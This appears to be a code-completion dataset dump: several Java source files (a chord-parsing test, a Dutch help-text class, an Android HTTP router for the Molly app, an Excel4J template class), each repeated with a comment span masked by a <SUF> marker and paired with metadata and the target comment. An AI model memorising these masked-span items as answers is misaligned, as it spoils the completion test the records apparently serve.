Assert.assertEquals ("A", linePart1.getChord());
LinePart linePart2 = line.getLineParts().get(1);
Assert.assertEquals ("G/H", linePart2.getChord());
LinePart linePart3 = line.getLineParts().get(2);
Assert.assertEquals ("C", linePart3.getChord());
Assert.assertEquals (3, line.getLineParts().size());
}
@Test
public void withoutChords () {
Song imported = textfileReader.read(createLine("Dies ist ein Test",null), new TextfileReaderParam());
Line line = imported.getFirstPart().getFirstLine();
LinePart linePart = line.getLineParts().get(0);
Assert.assertEquals ("Dies ist ein Test", linePart.getText());
Assert.assertEquals (1, line.getLineParts().size());
}
@Test
public void chordLongerThanText () {
Song imported = textfileReader.read(createLine( "F G a G/H",
"Und an Christus, Seinen Sohn"),new TextfileReaderParam());
//F G a G/H
//Und an Christus, Seinen Sohn
Line line = imported.getFirstPart().getFirstLine();
LinePart linePart1 = line.getLineParts().get(0);
LinePart linePart2 = line.getLineParts().get(1);
LinePart linePart3 = line.getLineParts().get(2);
LinePart linePart4 = line.getLineParts().get(3);
Assert.assertEquals ("F", linePart1.getChord());
Assert.assertEquals ("Und an Christus, Seinen Soh", linePart1.getText());
Assert.assertEquals ("G", linePart2.getChord());
Assert.assertEquals ("n", linePart2.getText());
Assert.assertEquals ("Am", linePart3.getChord());
Assert.assertEquals (" ", linePart3.getText());
Assert.assertEquals ("G/H", linePart4.getChord());
Assert.assertEquals (" ", linePart4.getText());
}
@Test
public void textLongerThanChord () {
Song imported = textfileReader.read(createLine( "F G",
"Und an Christus, Seinen Sohn"), new TextfileReaderParam());
//F
//Und an Christus, Seinen Sohn
Line line = imported.getFirstPart().getFirstLine();
LinePart linePart1 = line.getLineParts().get(0);
LinePart linePart2 = line.getLineParts().get(1);
Assert.assertEquals ("F", linePart1.getChord());
Assert.assertEquals ("Und an Christus, Seinen Soh", linePart1.getText());
Assert.assertEquals ("G", linePart2.getChord());
Assert.assertEquals ("n", linePart2.getText());
}
@Test
public void chordStartsLater () {
Song imported = textfileReader.read(createLine(" F G",
"Und an Christus, Seinen Sohn"), new TextfileReaderParam());
//Und an Christus, Seinen Sohn
Line line = imported.getFirstPart().getFirstLine();
LinePart linePart1 = line.getLineParts().get(0);
LinePart linePart2 = line.getLineParts().get(1);
LinePart linePart3 = line.getLineParts().get(2);
Assert.assertNull (linePart1.getChord());
Assert.assertEquals ("Und an ", linePart1.getText());
Assert.assertEquals ("F", linePart2.getChord());
Assert.assertEquals ("Christus, Seinen ", linePart2.getText());
Assert.assertEquals ("G", linePart3.getChord());
Assert.assertEquals ("Sohn", linePart3.getText());
}
@Test
public void getTokens () {
String line = "G D/F# A F#m g# Dsus4";
List<Integer> tokens = textfileReader.getTokens(line);
for (Integer next: tokens) {
Assert.assertFalse (Character.isWhitespace(line.charAt(next)));
}
Assert.assertEquals ("Number of tokens invalid", 6, tokens.size());
Assert.assertEquals ('D', line.charAt(tokens.get(1)));
Assert.assertEquals ('A', line.charAt(tokens.get(2)));
Assert.assertEquals ('F', line.charAt(tokens.get(3)));
}
}
|
1621_3 | package plugins.forum;
import java.util.ArrayList;
import java.util.List;
public class Help
{
public List<Question> questionList = new ArrayList<Question>();
public Help()
{
questionList.add(new Question("ProdNA",
"Ik kan een product niet vinden",
"Dat kan kloppen, maar het kan ook zijn dat het product waarnaar je zoekt onder een andere naam " +
"beschikbaar is. Bijvoorbeeld, een <B>boterham</B> kun je vinden onder <B><I>Broodje</I></B>. " +
"Van <B>thee</B> zijn voorlopig alleen nog <B><I>Kruidenthee, Pepermuntthee en Vruchtenthee</I></B> beschikbaar. " +
"<P ALIGN=\"justify\">We zijn van plan om de Voedingsdagboek-database op te schonen en zullen het je laten weten als het zover is. " +
"Maar we richten ons eerst op het uitbreiden van de website.</P>"));
// questionList.add(new Question("Amount",
// "Hoe kan ik de hoeveelheid van een consumptie aanpasssen?",
// "Je kan de hoeveelheid van een consumptie als volgt wijzigen. " +
// "Selecteer de consumptie en voer de gewenste hoeveelheid in. " +
// "Hierbij kun je kiezen of je de hoeveelheid aangeeft in porties of in grammen. Als je niets aangeeft dan gaan we uit van 1 portie. " +
// "Klik nu op toevoegen om de hoeveelheid van de geselecteerde consumptie aan te passen."));
}
}
| molgenis/molgenis-app-autobetes | TODO/handwritten/java/plugins/forum/Help.java | 450 | // "Hierbij kun je kiezen of je de hoeveelheid aangeeft in porties of in grammen. Als je niets aangeeft dan gaan we uit van 1 portie. " + | line_comment | nl | package plugins.forum;
import java.util.ArrayList;
import java.util.List;
public class Help
{
public List<Question> questionList = new ArrayList<Question>();
public Help()
{
questionList.add(new Question("ProdNA",
"Ik kan een product niet vinden",
"Dat kan kloppen, maar het kan ook zijn dat het product waarnaar je zoekt onder een andere naam " +
"beschikbaar is. Bijvoorbeeld, een <B>boterham</B> kun je vinden onder <B><I>Broodje</I></B>. " +
"Van <B>thee</B> zijn voorlopig alleen nog <B><I>Kruidenthee, Pepermuntthee en Vruchtenthee</I></B> beschikbaar. " +
"<P ALIGN=\"justify\">We zijn van plan om de Voedingsdagboek-database op te schonen en zullen het je laten weten als het zover is. " +
"Maar we richten ons eerst op het uitbreiden van de website.</P>"));
// questionList.add(new Question("Amount",
// "Hoe kan ik de hoeveelheid van een consumptie aanpasssen?",
// "Je kan de hoeveelheid van een consumptie als volgt wijzigen. " +
// "Selecteer de consumptie en voer de gewenste hoeveelheid in. " +
// "Hierbij kun<SUF>
// "Klik nu op toevoegen om de hoeveelheid van de geselecteerde consumptie aan te passen."));
}
}
|
200798_24 | package org.mollyproject.android.controller;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.SocketException;
import java.net.URL;
import java.net.UnknownHostException;
import java.text.ParseException;
import java.util.ArrayList;
import java.util.List;
import org.apache.http.HttpEntity;
import org.apache.http.HttpRequest;
import org.apache.http.HttpRequestInterceptor;
import org.apache.http.HttpResponse;
import org.apache.http.HttpResponseInterceptor;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.params.HttpConnectionParams;
import org.apache.http.params.HttpParams;
import org.apache.http.protocol.HTTP;
import org.apache.http.util.EntityUtils;
import org.json.JSONException;
import org.json.JSONObject;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Matrix;
import android.location.Location;
import java.io.InputStream;
import java.util.zip.GZIPInputStream;
import org.apache.http.Header;
import org.apache.http.HeaderElement;
import org.apache.http.HttpException;
import org.apache.http.entity.HttpEntityWrapper;
import org.apache.http.protocol.HttpContext;
public class Router {
protected CookieManager cookieMgr;
protected LocationTracker locTracker;
protected boolean firstReq;
protected MyApplication myApp;
protected HttpClient client;
protected HttpGet get;
protected HttpPost post;
public static String mOX = "http://dev.m.ox.ac.uk/";
public static enum OutputFormat { JSON, FRAGMENT, JS, YAML, XML, HTML };
public Router (MyApplication myApp) throws SocketException, IOException, JSONException, ParseException
{
this.myApp = myApp;
cookieMgr = new CookieManager(myApp);
firstReq = true;
locTracker = new LocationTracker(myApp);
locTracker.startLocUpdate();
client = new DefaultHttpClient();
HttpParams httpParams = client.getParams();
HttpConnectionParams.setConnectionTimeout(httpParams, 20000);
HttpConnectionParams.setSoTimeout(httpParams, 20000);
((DefaultHttpClient) client).addRequestInterceptor(new HttpRequestInterceptor() {
public void process(
final HttpRequest request,
final HttpContext context) throws HttpException, IOException {
if (!request.containsHeader("Accept-Encoding")) {
request.addHeader("Accept-Encoding", "gzip");
}
//TODO: add the location updates header here when it is implemented on the Molly server
//e.g: X-Current-Location: -1.6, 51, 100
}
});
((DefaultHttpClient) client).addResponseInterceptor(new HttpResponseInterceptor() {
public void process(
final HttpResponse response,
final HttpContext context) throws HttpException, IOException {
HttpEntity entity = response.getEntity();
Header ceheader = entity.getContentEncoding();
if (ceheader != null) {
HeaderElement[] codecs = ceheader.getElements();
for (int i = 0; i < codecs.length; i++) {
if (codecs[i].getName().equalsIgnoreCase("gzip")) {
response.setEntity(
new GzipDecompressingEntity(response.getEntity()));
return;
}
}
}
}
});
}
static class GzipDecompressingEntity extends HttpEntityWrapper {
public GzipDecompressingEntity(final HttpEntity entity) {
super(entity);
}
@Override
public InputStream getContent()
throws IOException, IllegalStateException {
// the wrapped entity's getContent() decides about repeatability
InputStream wrappedin = wrappedEntity.getContent();
return new GZIPInputStream(wrappedin);
}
@Override
public long getContentLength() {
// length of ungzipped content is not known
return -1;
}
}
public void setApp(MyApplication myApp)
{
this.myApp = myApp;
}
//Take an URL String, convert to URL, open connection then process
//and return the response
public synchronized String getFrom (String urlStr) throws MalformedURLException,
IOException, UnknownHostException, SocketException, JSONException, ParseException
{
String getURL = urlStr;
System.out.println("Getting from: " + urlStr);
get = new HttpGet(getURL);
HttpResponse responseGet = client.execute(get);
HttpEntity resEntityGet = responseGet.getEntity();
if (resEntityGet != null) {
//do something with the response
return EntityUtils.toString(resEntityGet);
}
return null;
}
public String reverse(String locator, String arg) throws SocketException,
MalformedURLException, UnknownHostException, IOException, JSONException, ParseException
{
//Geting the actual URL from the server using the locator (view name)
//and the reverse API in Molly
String reverseReq = new String();
if (arg != null)
{
reverseReq = mOX + "reverse/?name="+locator + arg;
}
else
{
reverseReq = mOX + "reverse/?name="+locator;
}
return getFrom(reverseReq);
}
public synchronized JSONObject requestJSON(String locator, String arg, String query)
throws JSONException, IOException, ParseException
{
return (new JSONObject(onRequestSent(locator, arg, OutputFormat.JSON, query)));
}
public synchronized String onRequestSent(String locator, String arg, OutputFormat format, String query)
throws JSONException, IOException, ParseException
{
/*basic method for all GET requests to the Molly server, it sets up a url to be sent
to the server as follow:
1. it looks up the url to the required page using the reverse api with either the
view_name only or both the view_name and the extra argument (arg)
2. then it returns the url, and open a connection to that one itself
3. get the response
*/
if (!firstReq)
{
((DefaultHttpClient)client).setCookieStore(cookieMgr.getCookieStore());
System.out.println("Cookie set");
if (LocationTracker.autoLoc)
{
updateCurrentLocation();
}
else if (MyApplication.currentLocation != null)
{
updateLocationManually(MyApplication.currentLocation.getString("name"), MyApplication.currentLocation.getDouble("latitude"),
MyApplication.currentLocation.getDouble("longitude"), 10.0);
}
}
System.out.println("GET Request");
String urlStr = reverse(locator,arg);
String outputStr = new String();
String formatStr = "?format=";
switch(format){
//Depending on the format wanted, get the output
case JSON:
formatStr+="json";
break;
case FRAGMENT:
formatStr+="fragment";
break;
case JS:
formatStr+="js";
break;
case HTML:
formatStr+="html";
break;
case XML:
formatStr+="xml";
break;
case YAML:
formatStr+="yaml";
break;
}
urlStr = urlStr+formatStr;
if (query != null)
{
urlStr = urlStr+query;
}
outputStr = getFrom(urlStr);
//Check for cookies here, after the first "proper" request, not the reverse request
if (firstReq || cookieMgr.getCookieStore().getCookies().size() <
((DefaultHttpClient) client).getCookieStore().getCookies().size())
{
//If cookiestore is empty and first request then try storing cookies if this is the first request
//or if the session id is added, in which case the size of the cookie store in the app is smaller
//than that of the client
cookieMgr.storeCookies(((DefaultHttpClient)client).getCookieStore());
((DefaultHttpClient)client).setCookieStore(cookieMgr.getCookieStore());
firstReq = false;
}
return outputStr;
}
public List<String> post(List<NameValuePair> arguments, String url) throws ClientProtocolException, IOException
{
//take in arguments as a list of name-value pairs and a target url, encode all the arguments,
//then do a POST request to the target url, return the output as a list of strings
post = new HttpPost(url);
UrlEncodedFormEntity ent = new UrlEncodedFormEntity(arguments,HTTP.UTF_8);
post.setEntity(ent);
HttpResponse responsePOST = client.execute(post);
//System.out.println("Location update cookies: " + ((DefaultHttpClient) client).getCookieStore().getCookies());
BufferedReader rd = new BufferedReader
(new InputStreamReader(responsePOST.getEntity().getContent()));
List<String> output = new ArrayList<String>();
String line;
while ((line = rd.readLine()) != null) {
System.out.println(line);
output.add(line);
}
rd.close();
return output;
}
public void updateCurrentLocation() throws JSONException, ParseException,
ClientProtocolException, IOException
{
Location loc = locTracker.getCurrentLoc();
List<NameValuePair> params = new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("csrfmiddlewaretoken", cookieMgr.getCSRFToken()));
params.add(new BasicNameValuePair("longitude", new Double(loc.getLongitude()).toString()));
params.add(new BasicNameValuePair("latitude", new Double(loc.getLatitude()).toString()));
params.add(new BasicNameValuePair("accuracy", new Double(loc.getAccuracy()).toString()));
params.add(new BasicNameValuePair("method", "html5request"));
params.add(new BasicNameValuePair("format", "json"));
params.add(new BasicNameValuePair("force", "True"));
List<String> output = post(params,reverse("geolocation:index", null));
//in this case the result is only one line of text, i.e just the first element of the list is fine
MyApplication.currentLocation = new JSONObject(output.get(0));
}
public void updateLocationManually(String locationName, Double lat, Double lon, Double accuracy)
throws JSONException, ClientProtocolException, SocketException, MalformedURLException,
UnknownHostException, IOException, ParseException
{
//update by coordinates
Location loc = locTracker.getCurrentLoc();
List<NameValuePair> params = new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("csrfmiddlewaretoken", cookieMgr.getCSRFToken()));
params.add(new BasicNameValuePair("longitude", lon.toString()));
params.add(new BasicNameValuePair("latitude", lat.toString()));
params.add(new BasicNameValuePair("accuracy", accuracy.toString()));
params.add(new BasicNameValuePair("name", locationName));
params.add(new BasicNameValuePair("method", "manual"));
params.add(new BasicNameValuePair("format", "json"));
List<String> output = post(params,reverse("geolocation:index", null));
//in this case the result is only one line of text, i.e just the first element of the list is fine
MyApplication.currentLocation = new JSONObject(output.get(0));
}
public void updateLocationGeocoded(String locationName) throws JSONException,
ClientProtocolException, IOException, ParseException
{
//update by geo code
List<NameValuePair> params = new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("csrfmiddlewaretoken", cookieMgr.getCSRFToken()));
params.add(new BasicNameValuePair("format", "json"));
params.add(new BasicNameValuePair("method", "geocoded"));
params.add(new BasicNameValuePair("name", locationName));
List<String> output = post(params,reverse("geolocation:index", null));
//in this case the result is only one line of text, i.e just the first element of the list is fine
MyApplication.currentLocation = new JSONObject(output.get(0));
}
public void downloadImage(URL url, Bitmap bitmap, int newWidth, int newHeight) throws IOException
{
HttpURLConnection conn= (HttpURLConnection)url.openConnection();
conn.setDoInput(true);
conn.connect();
InputStream is = conn.getInputStream();
bitmap = BitmapFactory.decodeStream(is);
//matrix used to resize image:
int width = bitmap.getWidth();
int height = bitmap.getHeight();
//int newWidth = page.getWindow().getWindowManager().getDefaultDisplay().getWidth();
//int newHeight = page.getWindow().getWindowManager().getDefaultDisplay().getWidth()*3/4;
float scaleWidth = ((float) newWidth) / width;
float scaleHeight = ((float) newHeight) / height;
Matrix matrix = new Matrix();
//resize the bitmap
matrix.postScale(scaleWidth, scaleHeight);
bitmap = Bitmap.createBitmap(bitmap, 0, 0,
width, height, matrix, true);
}
public void releaseConnection()
{
if (get != null) { get.abort(); }
if (post != null) { post.abort(); }
}
}
| mollyproject/mollyandroid | src/org/mollyproject/android/controller/Router.java | 3,936 | //int newWidth = page.getWindow().getWindowManager().getDefaultDisplay().getWidth();
| line_comment | nl | package org.mollyproject.android.controller;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.SocketException;
import java.net.URL;
import java.net.UnknownHostException;
import java.text.ParseException;
import java.util.ArrayList;
import java.util.List;
import org.apache.http.HttpEntity;
import org.apache.http.HttpRequest;
import org.apache.http.HttpRequestInterceptor;
import org.apache.http.HttpResponse;
import org.apache.http.HttpResponseInterceptor;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.params.HttpConnectionParams;
import org.apache.http.params.HttpParams;
import org.apache.http.protocol.HTTP;
import org.apache.http.util.EntityUtils;
import org.json.JSONException;
import org.json.JSONObject;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Matrix;
import android.location.Location;
import java.io.InputStream;
import java.util.zip.GZIPInputStream;
import org.apache.http.Header;
import org.apache.http.HeaderElement;
import org.apache.http.HttpException;
import org.apache.http.entity.HttpEntityWrapper;
import org.apache.http.protocol.HttpContext;
public class Router {
protected CookieManager cookieMgr;
protected LocationTracker locTracker;
protected boolean firstReq;
protected MyApplication myApp;
protected HttpClient client;
protected HttpGet get;
protected HttpPost post;
public static String mOX = "http://dev.m.ox.ac.uk/";
public static enum OutputFormat { JSON, FRAGMENT, JS, YAML, XML, HTML };
public Router (MyApplication myApp) throws SocketException, IOException, JSONException, ParseException
{
this.myApp = myApp;
cookieMgr = new CookieManager(myApp);
firstReq = true;
locTracker = new LocationTracker(myApp);
locTracker.startLocUpdate();
client = new DefaultHttpClient();
HttpParams httpParams = client.getParams();
HttpConnectionParams.setConnectionTimeout(httpParams, 20000);
HttpConnectionParams.setSoTimeout(httpParams, 20000);
((DefaultHttpClient) client).addRequestInterceptor(new HttpRequestInterceptor() {
public void process(
final HttpRequest request,
final HttpContext context) throws HttpException, IOException {
if (!request.containsHeader("Accept-Encoding")) {
request.addHeader("Accept-Encoding", "gzip");
}
//TODO: add the location updates header here when it is implemented on the Molly server
//e.g: X-Current-Location: -1.6, 51, 100
}
});
((DefaultHttpClient) client).addResponseInterceptor(new HttpResponseInterceptor() {
public void process(
final HttpResponse response,
final HttpContext context) throws HttpException, IOException {
HttpEntity entity = response.getEntity();
Header ceheader = entity.getContentEncoding();
if (ceheader != null) {
HeaderElement[] codecs = ceheader.getElements();
for (int i = 0; i < codecs.length; i++) {
if (codecs[i].getName().equalsIgnoreCase("gzip")) {
response.setEntity(
new GzipDecompressingEntity(response.getEntity()));
return;
}
}
}
}
});
}
static class GzipDecompressingEntity extends HttpEntityWrapper {
public GzipDecompressingEntity(final HttpEntity entity) {
super(entity);
}
@Override
public InputStream getContent()
throws IOException, IllegalStateException {
// the wrapped entity's getContent() decides about repeatability
InputStream wrappedin = wrappedEntity.getContent();
return new GZIPInputStream(wrappedin);
}
@Override
public long getContentLength() {
// length of ungzipped content is not known
return -1;
}
}
public void setApp(MyApplication myApp)
{
this.myApp = myApp;
}
//Take an URL String, convert to URL, open connection then process
//and return the response
public synchronized String getFrom (String urlStr) throws MalformedURLException,
IOException, UnknownHostException, SocketException, JSONException, ParseException
{
String getURL = urlStr;
System.out.println("Getting from: " + urlStr);
get = new HttpGet(getURL);
HttpResponse responseGet = client.execute(get);
HttpEntity resEntityGet = responseGet.getEntity();
if (resEntityGet != null) {
//do something with the response
return EntityUtils.toString(resEntityGet);
}
return null;
}
public String reverse(String locator, String arg) throws SocketException,
MalformedURLException, UnknownHostException, IOException, JSONException, ParseException
{
//Geting the actual URL from the server using the locator (view name)
//and the reverse API in Molly
String reverseReq = new String();
if (arg != null)
{
reverseReq = mOX + "reverse/?name="+locator + arg;
}
else
{
reverseReq = mOX + "reverse/?name="+locator;
}
return getFrom(reverseReq);
}
public synchronized JSONObject requestJSON(String locator, String arg, String query)
throws JSONException, IOException, ParseException
{
return (new JSONObject(onRequestSent(locator, arg, OutputFormat.JSON, query)));
}
public synchronized String onRequestSent(String locator, String arg, OutputFormat format, String query)
throws JSONException, IOException, ParseException
{
/*basic method for all GET requests to the Molly server, it sets up a url to be sent
to the server as follow:
1. it looks up the url to the required page using the reverse api with either the
view_name only or both the view_name and the extra argument (arg)
2. then it returns the url, and open a connection to that one itself
3. get the response
*/
if (!firstReq)
{
((DefaultHttpClient)client).setCookieStore(cookieMgr.getCookieStore());
System.out.println("Cookie set");
if (LocationTracker.autoLoc)
{
updateCurrentLocation();
}
else if (MyApplication.currentLocation != null)
{
updateLocationManually(MyApplication.currentLocation.getString("name"), MyApplication.currentLocation.getDouble("latitude"),
MyApplication.currentLocation.getDouble("longitude"), 10.0);
}
}
System.out.println("GET Request");
String urlStr = reverse(locator,arg);
String outputStr = new String();
String formatStr = "?format=";
switch(format){
//Depending on the format wanted, get the output
case JSON:
formatStr+="json";
break;
case FRAGMENT:
formatStr+="fragment";
break;
case JS:
formatStr+="js";
break;
case HTML:
formatStr+="html";
break;
case XML:
formatStr+="xml";
break;
case YAML:
formatStr+="yaml";
break;
}
urlStr = urlStr+formatStr;
if (query != null)
{
urlStr = urlStr+query;
}
outputStr = getFrom(urlStr);
//Check for cookies here, after the first "proper" request, not the reverse request
if (firstReq || cookieMgr.getCookieStore().getCookies().size() <
((DefaultHttpClient) client).getCookieStore().getCookies().size())
{
//If cookiestore is empty and first request then try storing cookies if this is the first request
//or if the session id is added, in which case the size of the cookie store in the app is smaller
//than that of the client
cookieMgr.storeCookies(((DefaultHttpClient)client).getCookieStore());
((DefaultHttpClient)client).setCookieStore(cookieMgr.getCookieStore());
firstReq = false;
}
return outputStr;
}
public List<String> post(List<NameValuePair> arguments, String url) throws ClientProtocolException, IOException
{
//take in arguments as a list of name-value pairs and a target url, encode all the arguments,
//then do a POST request to the target url, return the output as a list of strings
post = new HttpPost(url);
UrlEncodedFormEntity ent = new UrlEncodedFormEntity(arguments,HTTP.UTF_8);
post.setEntity(ent);
HttpResponse responsePOST = client.execute(post);
//System.out.println("Location update cookies: " + ((DefaultHttpClient) client).getCookieStore().getCookies());
BufferedReader rd = new BufferedReader
(new InputStreamReader(responsePOST.getEntity().getContent()));
List<String> output = new ArrayList<String>();
String line;
while ((line = rd.readLine()) != null) {
System.out.println(line);
output.add(line);
}
rd.close();
return output;
}
public void updateCurrentLocation() throws JSONException, ParseException,
ClientProtocolException, IOException
{
Location loc = locTracker.getCurrentLoc();
List<NameValuePair> params = new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("csrfmiddlewaretoken", cookieMgr.getCSRFToken()));
params.add(new BasicNameValuePair("longitude", new Double(loc.getLongitude()).toString()));
params.add(new BasicNameValuePair("latitude", new Double(loc.getLatitude()).toString()));
params.add(new BasicNameValuePair("accuracy", new Double(loc.getAccuracy()).toString()));
params.add(new BasicNameValuePair("method", "html5request"));
params.add(new BasicNameValuePair("format", "json"));
params.add(new BasicNameValuePair("force", "True"));
List<String> output = post(params,reverse("geolocation:index", null));
//in this case the result is only one line of text, i.e just the first element of the list is fine
MyApplication.currentLocation = new JSONObject(output.get(0));
}
public void updateLocationManually(String locationName, Double lat, Double lon, Double accuracy)
throws JSONException, ClientProtocolException, SocketException, MalformedURLException,
UnknownHostException, IOException, ParseException
{
//update by coordinates
Location loc = locTracker.getCurrentLoc();
List<NameValuePair> params = new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("csrfmiddlewaretoken", cookieMgr.getCSRFToken()));
params.add(new BasicNameValuePair("longitude", lon.toString()));
params.add(new BasicNameValuePair("latitude", lat.toString()));
params.add(new BasicNameValuePair("accuracy", accuracy.toString()));
params.add(new BasicNameValuePair("name", locationName));
params.add(new BasicNameValuePair("method", "manual"));
params.add(new BasicNameValuePair("format", "json"));
List<String> output = post(params,reverse("geolocation:index", null));
//in this case the result is only one line of text, i.e just the first element of the list is fine
MyApplication.currentLocation = new JSONObject(output.get(0));
}
public void updateLocationGeocoded(String locationName) throws JSONException,
ClientProtocolException, IOException, ParseException
{
//update by geo code
List<NameValuePair> params = new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("csrfmiddlewaretoken", cookieMgr.getCSRFToken()));
params.add(new BasicNameValuePair("format", "json"));
params.add(new BasicNameValuePair("method", "geocoded"));
params.add(new BasicNameValuePair("name", locationName));
List<String> output = post(params,reverse("geolocation:index", null));
//in this case the result is only one line of text, i.e just the first element of the list is fine
MyApplication.currentLocation = new JSONObject(output.get(0));
}
public void downloadImage(URL url, Bitmap bitmap, int newWidth, int newHeight) throws IOException
{
HttpURLConnection conn= (HttpURLConnection)url.openConnection();
conn.setDoInput(true);
conn.connect();
InputStream is = conn.getInputStream();
bitmap = BitmapFactory.decodeStream(is);
//matrix used to resize image:
int width = bitmap.getWidth();
int height = bitmap.getHeight();
//int newWidth<SUF>
//int newHeight = page.getWindow().getWindowManager().getDefaultDisplay().getWidth()*3/4;
float scaleWidth = ((float) newWidth) / width;
float scaleHeight = ((float) newHeight) / height;
Matrix matrix = new Matrix();
//resize the bitmap
matrix.postScale(scaleWidth, scaleHeight);
bitmap = Bitmap.createBitmap(bitmap, 0, 0,
width, height, matrix, true);
}
public void releaseConnection()
{
if (get != null) { get.abort(); }
if (post != null) { post.abort(); }
}
}
|
185887_2 | /*
*
* Copyright 2017 Crab2Died
* All rights reserved.
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Browse for more information :
* 1) https://gitee.com/Crab2Died/Excel4J
* 2) https://github.com/Crab2died/Excel4J
*
*/
package com.github.crab2died.handler;
import com.github.crab2died.exceptions.Excel4JException;
import org.apache.poi.ss.usermodel.CellStyle;
import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import java.io.Closeable;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.util.HashMap;
import java.util.Map;
public class SheetTemplate implements Closeable {
/**
* 当前工作簿
*/
Workbook workbook;
/**
* 当前工作sheet表
*/
Sheet sheet;
/**
* 当前表编号
*/
int sheetIndex;
/**
* 当前行
*/
Row currentRow;
/**
* 当前列数
*/
int currentColumnIndex;
/**
* 当前行数
*/
int currentRowIndex;
/**
* 默认样式
*/
CellStyle defaultStyle;
/**
* 指定行样式
*/
Map<Integer, CellStyle> appointLineStyle = new HashMap<>();
/**
* 分类样式模板
*/
Map<String, CellStyle> classifyStyle = new HashMap<>();
/**
* 单数行样式
*/
CellStyle singleLineStyle;
/**
* 双数行样式
*/
CellStyle doubleLineStyle;
/**
* 数据的初始化列数
*/
int initColumnIndex;
/**
* 数据的初始化行数
*/
int initRowIndex;
/**
* 最后一行的数据
*/
int lastRowIndex;
/**
* 默认行高
*/
float rowHeight;
/**
* 序号坐标点
*/
int serialNumberColumnIndex = -1;
/**
* 当前序号
*/
int serialNumber;
/*-----------------------------------写出数据开始-----------------------------------*/
/**
* 将文件写到相应的路径下
*
* @param filePath 输出文件路径
*/
public void write2File(String filePath) throws Excel4JException {
try (FileOutputStream fos = new FileOutputStream(filePath)) {
this.workbook.write(fos);
} catch (IOException e) {
throw new Excel4JException(e);
}
}
/**
* 将文件写到某个输出流中
*
* @param os 输出流
*/
public void write2Stream(OutputStream os) throws Excel4JException {
try {
this.workbook.write(os);
} catch (IOException e) {
throw new Excel4JException(e);
}
}
/*-----------------------------------写出数据结束-----------------------------------*/
@Override
public void close() throws IOException {
if (null != this.workbook){
this.workbook.close();
}
}
}
| momotech/MLN | MLN-Android/Tools/Statistic/src/main/java/com/github/crab2died/handler/SheetTemplate.java | 1,053 | /**
* 当前工作sheet表
*/ | block_comment | nl | /*
*
* Copyright 2017 Crab2Died
* All rights reserved.
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Browse for more information :
* 1) https://gitee.com/Crab2Died/Excel4J
* 2) https://github.com/Crab2died/Excel4J
*
*/
package com.github.crab2died.handler;
import com.github.crab2died.exceptions.Excel4JException;
import org.apache.poi.ss.usermodel.CellStyle;
import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import java.io.Closeable;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.util.HashMap;
import java.util.Map;
public class SheetTemplate implements Closeable {
/**
* 当前工作簿
*/
Workbook workbook;
/**
* 当前工作sheet表
<SUF>*/
Sheet sheet;
/**
* 当前表编号
*/
int sheetIndex;
/**
* 当前行
*/
Row currentRow;
/**
* 当前列数
*/
int currentColumnIndex;
/**
* 当前行数
*/
int currentRowIndex;
/**
* 默认样式
*/
CellStyle defaultStyle;
/**
* 指定行样式
*/
Map<Integer, CellStyle> appointLineStyle = new HashMap<>();
/**
* 分类样式模板
*/
Map<String, CellStyle> classifyStyle = new HashMap<>();
/**
* 单数行样式
*/
CellStyle singleLineStyle;
/**
* 双数行样式
*/
CellStyle doubleLineStyle;
/**
* 数据的初始化列数
*/
int initColumnIndex;
/**
* 数据的初始化行数
*/
int initRowIndex;
/**
* 最后一行的数据
*/
int lastRowIndex;
/**
* 默认行高
*/
float rowHeight;
/**
* 序号坐标点
*/
int serialNumberColumnIndex = -1;
/**
* 当前序号
*/
int serialNumber;
/*-----------------------------------写出数据开始-----------------------------------*/
/**
* 将文件写到相应的路径下
*
* @param filePath 输出文件路径
*/
public void write2File(String filePath) throws Excel4JException {
